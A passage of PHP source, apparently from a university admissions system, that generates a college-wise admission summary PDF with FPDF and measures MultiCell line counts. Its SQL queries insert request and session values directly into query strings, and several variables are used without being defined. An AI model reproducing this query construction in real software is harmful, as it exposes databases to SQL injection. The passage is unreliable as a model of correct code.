//$pdf->SetDash(1, .3); $pdf->Line(10,$new_ly, 285,$new_ly); //$pdf->Line(10,$new_ly+.5, 200,$new_ly+.5); $pdf->Ln(2); $pdf->SetFont('Times','',10); $pdf->Cell(140,4,'Printed : IP Address : '.$ip.", Date : ".$pdf->date_time,'0',0,'L'); //$pdf->Cell(100,4,'* indicates deleted record','0',0,'L'); $pdf->SetXY($new_x,$new_y); } function generateCollWiseSummeryList($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $from_degree = $aobj_context->mobj_data["from_degree"]; $to_degree = $aobj_context->mobj_data["to_degree"]; $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$main_src_obj[1]; $pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php"; $tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php"; $root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf"; // global varibales $p_count =1; // end global varibales include($pdf_writer_class); $pdf= new FPDF(L); //$pdf->$title='20000 Leagues Under the Seas'; $pdf->SetFont('Times','',10); $pdf->SetMargins(15,8); $pdf->AliasNbPages(); // query for the page header $page_header_university = "select FUNIVNAME,FUNIVADD1,FTOWN, date_format(now(),'%d/%m/%Y') as date from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $page_header_college ="select concat(FCOLLCODE,' ',FCOLLNAME,', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat(FDEGREE,' - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); $page_footer_date = "select DATE_FORMAT(NOW(),'%d/%m/%Y %h:%i %p') as now_date "; $lobj_page_footer_date = $aobj_context->mobj_db->GetRow($page_footer_date); $pdf->date_time = $lobj_page_footer_date['now_date']; $get_student_count= "select COUNT( distinct s.fslno) as studcnt, s.fdegree, d.fdescpn, s.fcollcode, fcollname from studadm s inner join degree d on s.fdegree = d.fdegree inner join college c on c.fcollcode = s.fcollcode where s.fdegree between '{$from_degree}' and '{$to_degree}' and ifnull(s.fdeleted,'') <>'T' group by s.fdegree,s.fcollcode"; $lobj_student_count = $aobj_context->mobj_db->GetAll($get_student_count); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'AdmissionCollwiseSummery'; $pdf->FUNIVNAME = $lobj_page_header_university[FUNIVNAME]; $pdf->FTOWN = $lobj_page_header_university[FTOWN]; $pdf->FUNIVADD1 = $lobj_page_header_university[FUNIVADD1]; $pdf->date_1 = $lobj_page_header_university['date']; $pdf->college_name = rtrim($lobj_page_header_college['college_name'],' '); $pdf->Degree_name = $lobj_student_count[0]['fdescpn']; $pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name']; $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR']; //echo $pdf->sub_degree_code; die(); //end header $pdf->AddPage(); //$pdf->Ln(); $pdf->SetFont('Times','',10); $index=0; $DUP_FCSUBCODE=$lobj_student_count[0]['fdegree']; foreach($lobj_student_count as $ck=>$cv) { if($DUP_FCSUBCODE!=$cv['fdegree']) { $pdf->SetFont('Times','',10); $pdf->SetMargins(18,15); $pdf->Degree_name = $cv['fdescpn']; $pdf->AddPage(); $row_cnt=0; $index =0; $DUP_FCSUBCODE = $cv['fdegree']; } if( $pdf->GetY() > 180) { $pdf->SetFont('Times','',10); $pdf->SetMargins(18,15); $pdf->Degree_name = $cv['fdescpn']; $pdf->AddPage(); } ++$index; $pdf->Cell(15,5,$index,'0',0,'L'); //$pdf->Cell(20,5,$cv['fdegree'],'0',0,'L'); $pdf->Cell(20,5,$cv['fcollcode'],'0',0,'C'); $pdf->Cell(100,5,$cv['fcollname'],'0',0,'L'); $pdf->Cell(20,5,$cv['studcnt'],'0',0,'C'); $pdf->Cell(20,5,'','0',1,'C'); } $pdf->Output("report_collwiseadmsummery.pdf","D"); } function NbLines($w,$txt,$pdf) { //Computes the number of lines a MultiCell of width w will take $cw=&$pdf->CurrentFont['cw']; if($w==0) $w=$pdf->w-$pdf->rMargin-$pdf->x; $wmax=($w-2*$pdf->cMargin)*1000/$pdf->FontSize; $s=str_replace("\r",'',$txt); $nb=strlen($s); if($nb>0 and $s[$nb-1]=="\n") $nb--; $sep=-1; $i=0; $j=0; $l=0; $nl=1; while($i<$nb){ $c=$s[$i]; if($c=="\n"){ $i++; $sep=-1; $j=$i; $l=0; $nl++; continue; } if($c==' ') $sep=$i; $l+=$cw[$c]; if($l>$wmax){ if($sep==-1){ if($i==$j) $i++; } else $i=$sep+1; $sep=-1; $j=$i; $l=0; $nl++; } else $i++; } return $nl; } ?>
Close